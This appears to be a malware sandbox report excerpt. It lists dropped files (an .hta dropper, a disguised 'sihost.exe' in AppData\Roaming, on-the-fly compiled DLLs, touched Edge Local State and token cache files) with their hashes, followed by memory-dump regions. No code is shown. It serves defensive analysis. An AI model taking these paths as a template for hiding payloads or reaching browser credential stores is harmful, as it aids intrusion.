52fd7891af5608a5b23e189cdfc783ca

SHA1
40f714a8728e50f585f4d144ac629eee5d316375

SHA256
0f4c9353015b4ffd940071bfe9d800fd905e651874dccf8b92305851c26def7e

SHA512
bbfce88808dde4ef5cbe4915132fc1a23b60cd094557c740f2cbbb64993fc7ff1003adc19f0ee2b39a60601b39e1cebcd8b29eb7f62e7f4279c521ea60265770

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
3e3ce46863c066739013872982a0e276

SHA1
e01aa952cbaa53eae1eb61846b9c855dfe99c617

SHA256
e0621a962cf425f29de9a1cba22aeba1b26506c5829fd53b826b20f14b39a2f9

SHA512
a3ae7e037de658790c95047bd7b0bf8fbe668a113904ad3a460381551fbb39ab6b935c3299de22c9dbefc4e8ee260dfd9d83c4e168c1db19d35c81527cce34e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
1425d62a612beef80f623da24ef3b1f1

SHA1
e7c1e2b09251050d51f797f9dc7c6391cda68999

SHA256
6f41d6a1fbe38bf1dec57e1deb305762a95f49d807b3576eb5a0d2a37684fcb4

SHA512
93d80fc8b21c678f5b43a04cefc74ee46c240f9f435ce002ba3d6a4e153a76653b17462691ca53c670c1fff6dd56857f1af97b884cc00f022d618e15b61c8bf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
41KB

MD5
927c244106e574f45ff2de659181e27b

SHA1
be01bc41cec6acf132677779136667f90d3942bb

SHA256
a84c1812ecf52898dbb580d029f811667c5b06584a6f9c7d924e9f1eae5209f9

SHA512
6b0ecbe07afe8ed623ab23e039deb452c57d6c02cabd7c21403106b0b3ce178c91c859c7a3d61d61689aafcefb3620edcc890150def5401f6a2d3d30aa592971

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2025.1.17.1\keys.json

Filesize
6KB

MD5
bef4f9f856321c6dccb47a61f605e823

SHA1
8e60af5b17ed70db0505d7e1647a8bc9f7612939

SHA256
fd1847df25032c4eef34e045ba0333f9bd3cb38c14344f1c01b48f61f0cfd5c5

SHA512
bdec3e243a6f39bfea4130c85b162ea00a4974c6057cd06a05348ac54517201bbf595fcc7c22a4ab2c16212c6009f58df7445c40c82722ab4fa1c8d49d39755c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

Filesize
152KB

MD5
dd9bf8448d3ddcfd067967f01e8bf6d7

SHA1
d7829475b2bd6a3baa8fabfaf39af57c6439b35e

SHA256
fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

SHA512
65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Filesize
2KB

MD5
74916b20204eba5cf935b59d2cf7f41a

SHA1
13696d5b3ab87a318ee6cef816c6332835384644

SHA256
772bf4dc0a0b692409829127938ba3b45047c8d9930c8c0d891b2effde8aa72b

SHA512
bd235e3485cb928ae9046d0f5da7e73d3840293669e257251f1d7afc2adcb7b0798035884232d22e6166f3e7d4317c359e4a25df38c1a7f8e8e90a1f7b560985

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
c8fe674ca00298853c3eff05e8f1175a

SHA1
65fc222062334a2836f2038b1ace15752d916438

SHA256
288cc79d4826447305d76692968c44796755b5b380e4ce7f1dd69c00ff0f5fc4

SHA512
3a17807b3db1eab1514e11be24c72a26dcc573c78a9ae6c8144b527188b7b53135be6f12f9be991dd3530f3acf391343a8a4d1809a1d877c73cb7f7c0c822def

Download Submit
C:\Users\Admin\AppData\Local\Temp\51sdgxm0\51sdgxm0.dll

Filesize
3KB

MD5
2618faf7a13fefb54245a402b18fdeb4

SHA1
8ea21f76058f41d9e05a23dc061c844fca9f75e2

SHA256
25945879dd5ad591c398e31447a5d3401042f7e7fb081e87dfacdbd0d99ffe20

SHA512
d2660da58daf53db8e56135685dfe0e2afcedea621fce2748c25c0fbc781c840e558090f5c8ed85a6442b9c2d4640996ca984206aeb5a8be65b50716c1b85821

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES675B.tmp

Filesize
1KB

MD5
d291458264ee80bcbe2462b5740030e2

SHA1
4507c724ad4076b7c563b84a271d10eb79a641cc

SHA256
4c719b83c7bf097129b7fbc54e4376c815b43d7f4652bf09d8d3caefe4fdccff

SHA512
e48284858e4acc2f6ae39aa3ad4e6f7cd815eb883632521ac9e0197f7d6bf1850971b6a12a9ae3a3aca22fea9fc01993cdc304fc76c8c13ea495b5146f65a361

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8EB9.tmp

Filesize
1KB

MD5
a4be32640279cadcb0f9c022c1ecccf1

SHA1
691a070ccb69bc381e6e67027d65ff2ca778a554

SHA256
c7179035bf863cb6716beb4862214c2fda0da9fd190ea79303f3f5269d356614

SHA512
20df472cd75402b77a9d5225bcbc83db40ea2a68531c2d7204cff612507181c35b1b86cd7dd620b695f82305a2ecf68ca338281b399f35bb88e0e23cbe23c189

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syxsjn13.e3z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uqgfg01h\uqgfg01h.dll

Filesize
3KB

MD5
c59b143232c14b637b9942458345b377

SHA1
227281d7bd5898a1fe86687885c1b442c4f56113

SHA256
e7a5c3f8a4944094b34fb384c18282a832468932f08a875f68374c8b1375d6be

SHA512
5edc74eafc66407cb5614ba3730af85925cdfa87a64b748b633aceedada00ce61394d7a5a3391b49d93436efdbdce1c1e3d743bc7fc087c0d3bd4d448c0607e0

Download Submit
C:\Users\Admin\AppData\Roaming\sihost.exe

Filesize
1.6MB

MD5
d245c0efade78fbe55c9d537732dc8fb

SHA1
339657894338cfa9ee994e440443d4fc7ef75368

SHA256
860bb4fd3607ebdb177d9732653f9baeff86192cdf7874c5824ab37b9b61013d

SHA512
562e31c22abf83d57785a5506025847e18a652765f4086ebc1c199b751eeb184a85e9d0ec08289fea1b6beeda0b94e2195a46702aa643ba4f3558a4023af2268

Download Submit
C:\Users\Admin\Downloads\5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512.hta

Filesize
13KB

MD5
d784a93b62ff236f0090d49eee225f61

SHA1
18545dbd755b169d693a42c7e0ab32f4fd81aeaf

SHA256
5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512

SHA512
3ca6164390caddbfe14bb3b50e690c08bd5e4df827b4a24e642b759c63cb375cf54ed9f3c9e9bd76c13075f149637034cee64039c9230bc100ba3016c42e73f0

Download Submit
C:\Users\Admin\Downloads\5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512.zip

Filesize
1KB

MD5
815c60242b247d2a45b810645947bb79

SHA1
529eea6a1d17481affe583081b00d5cab901f8bd

SHA256
1bc174f19a94b8d033c3aab792372afe9c0ae40f522663e7931ba3a5e5410c66

SHA512
7114e7469288fd7d57f8d257971a20e01ca8a457dcf5eb5ebe355e7f3ffda1eea6139d483e9f955bf280619910b8fa7e2a84087e2be9d8b50b424e308b94071f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\51sdgxm0\51sdgxm0.0.cs

Filesize
485B

MD5
74f03e78d7b73ad6aa4709e6695db6c2

SHA1
14fc151424d082da9dc8c6310d08ff28b6657686

SHA256
53b979b096d502e2525526211f57212442a0a9bdfd49e14b695541cdfe37d969

SHA512
9b58cdd28852e1bb63d88cb84473175e4e94f81525b3135e0d063d730b8c6c5561f1d1d9b36d2dde8197dbfa185e75bf57d9d95abd39d5e48cceb2e0e2d88e55

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\51sdgxm0\51sdgxm0.cmdline

Filesize
369B

MD5
a9996361b15fc94500fb808e4c1a35e2

SHA1
c1392832c70d036c48636daf80c817ba4ba9a729

SHA256
fbeb7e790849d162ec4d27af130402be5319edcca359020d3ad9f3958b36350d

SHA512
6f7bee1ddc3d91fe17d9a9b8283bb897d433bbd920ce3438c93c8ee9306a260b94b9612615c09fa47331e27bcc3ddad7069e7f8f223ebc8876203542b4ce5282

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\51sdgxm0\CSC3A966BD7EA3649C7BAB0DDBCF0421E30.TMP

Filesize
652B

MD5
9e247a1ac1ec5a962ef1d482a0c9cb0b

SHA1
642b9d70adc8366c1ab6f5681f586a117bc3e95c

SHA256
36fca945e26ac15b19a00b41bdb1befb1f2453591cc7c97657df2adbb22d3b08

SHA512
f3582083ba047b0ed6f97d39ae40bbe2a344460af704540f86987025fb7258594dc74c6442a6c5da5764bbd0d2b3ef088a80e88a54044b1905e04334d51a9b9a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uqgfg01h\CSCAAB8ACCDABF54E8387E71F8BC926CA2A.TMP

Filesize
652B

MD5
563266b6b89340ad9604bad68b362240

SHA1
e01a80766d10dda282a6d7a35cf9c2e16dc2517f

SHA256
35df3f2beaf2730ae47bacd7e1deaeee6ee5a37b013d5010777e90f703f8d716

SHA512
3c8ded864875b5627326eb621c2e48504d616f00ef503d6f7688185e7021ab20381e2bd8274eecb363fdbe92855e47c59b118b52192933cbddd35cf8f5a865d3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uqgfg01h\uqgfg01h.cmdline

Filesize
369B

MD5
ef9326f888d32ef727b2ae5fd38b333d

SHA1
e1b0782e621b2ee4132256f32ed550445e72865b

SHA256
bd8106002d4d651564f8758aa272927c7e93627303213e13477f2ef1720582d4

SHA512
5170e9f16b649dc35df6bd08de89cec432f9f79af7b2f8ca3c09c7b2b9c67268e73a2c96efc0a9cac8083c074487d31a991fbe336655629558cc3623e65427fe

Download Submit
memory/692-853-0x00000000077F0000-0x0000000007812000-memory.dmp

Filesize
136KB

Download
memory/692-854-0x0000000008590000-0x0000000008B34000-memory.dmp

Filesize
5.6MB

Download
memory/692-801-0x0000000007340000-0x000000000734A000-memory.dmp

Filesize
40KB

Download
memory/692-802-0x0000000007560000-0x00000000075F6000-memory.dmp

Filesize
600KB

Download
memory/692-803-0x00000000074C0000-0x00000000074D1000-memory.dmp

Filesize
68KB

Download
memory/692-804-0x00000000074F0000-0x00000000074FE000-memory.dmp

Filesize
56KB

Download
memory/692-805-0x0000000007500000-0x0000000007514000-memory.dmp

Filesize
80KB

Download
memory/692-806-0x0000000007540000-0x000000000755A000-memory.dmp

Filesize
104KB

Download
memory/692-807-0x0000000007530000-0x0000000007538000-memory.dmp

Filesize
32KB

Download
memory/692-798-0x0000000007230000-0x00000000072D3000-memory.dmp

Filesize
652KB

Download
memory/692-797-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/692-787-0x000000006D8E0000-0x000000006DC34000-memory.dmp

Filesize
3.3MB

Download
memory/692-786-0x000000006D770000-0x000000006D7BC000-memory.dmp

Filesize
304KB

Download
memory/692-820-0x0000000007530000-0x0000000007538000-memory.dmp

Filesize
32KB

Download
memory/692-759-0x0000000002A00000-0x0000000002A36000-memory.dmp

Filesize
216KB

Download
memory/692-785-0x0000000007190000-0x00000000071C2000-memory.dmp

Filesize
200KB

Download
memory/692-800-0x00000000072E0000-0x00000000072FA000-memory.dmp

Filesize
104KB

Download
memory/692-799-0x0000000007960000-0x0000000007FDA000-memory.dmp

Filesize
6.5MB

Download
memory/692-760-0x0000000005230000-0x0000000005858000-memory.dmp

Filesize
6.2MB

Download
memory/692-762-0x00000000058D0000-0x0000000005936000-memory.dmp

Filesize
408KB

Download
memory/692-763-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/692-775-0x0000000006520000-0x000000000656C000-memory.dmp

Filesize
304KB

Download
memory/692-773-0x00000000059B0000-0x0000000005D04000-memory.dmp

Filesize
3.3MB

Download
memory/692-761-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/692-774-0x0000000005F70000-0x0000000005F8E000-memory.dmp

Filesize
120KB

Download
memory/2524-880-0x000000006D0B0000-0x000000006D0FC000-memory.dmp

Filesize
304KB

Download
memory/2524-881-0x000000006D210000-0x000000006D564000-memory.dmp

Filesize
3.3MB

Download
memory/2524-891-0x0000000007BB0000-0x0000000007C53000-memory.dmp

Filesize
652KB

Download
memory/2524-892-0x0000000007E70000-0x0000000007E81000-memory.dmp

Filesize
68KB

Download
memory/2524-893-0x0000000007FA0000-0x0000000007FB4000-memory.dmp

Filesize
80KB

Download
memory/2524-879-0x0000000006980000-0x00000000069CC000-memory.dmp

Filesize
304KB

Download
memory/2524-877-0x00000000063C0000-0x0000000006714000-memory.dmp

Filesize
3.3MB

Download
memory/2524-906-0x0000000007AE0000-0x0000000007AE8000-memory.dmp

Filesize
32KB

Download
memory/5704-865-0x0000000002960000-0x0000000003960000-memory.dmp

Filesize
16.0MB

Download
memory/5704-864-0x0000000002960000-0x0000000003960000-memory.dmp

Filesize
16.0MB

Download